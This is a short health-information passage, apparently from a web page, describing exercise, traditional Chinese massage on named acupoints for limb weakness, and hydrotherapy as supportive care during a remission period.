Individuals will remain unsteady and clumsy in their movements or suffer from paralysis to a certain extent when they enter the remission period, therefore, proper physical exercise helps to improve muscular strength, prevent atrophy and stiffness or relieve the muscle spasm. It would be beneficial to choose some traditional self-practice exercises. TCM massage is another alternative, which has some set procedures, for example:

Upper limb weakness: grasp the tendons in the shoulder region, twist and knead the lateral side of the arm, and then strike on acupoints like jian-yu, he-guand qu-chi.

Lower limb weakness: grasp the medial aspect of the upper thigh, calf of the lower leg and heel tendon, twist and kneed around the upper tight, and then strike on acupoints like yang-guan,huan-tiao, jie-xi and du-bi.

Hydrotherapy

Hydrotherapy is the use of water to treat disease, alleviate pain, induce relaxation, and maintain general good health. For therapeutic purposes, the water may be warm or cold, or in the form of ice or steam. This method is used to relax muscles and joints, soothe anxiety, relieve stress, and enhance mobility. It can be achieved through swimming, underwater exercise, or warm baths in a darkened room that helps individuals to focus on breathing exercises and other pain-control methods. Herbal washing or bathing are combined in some centers.

 

]]>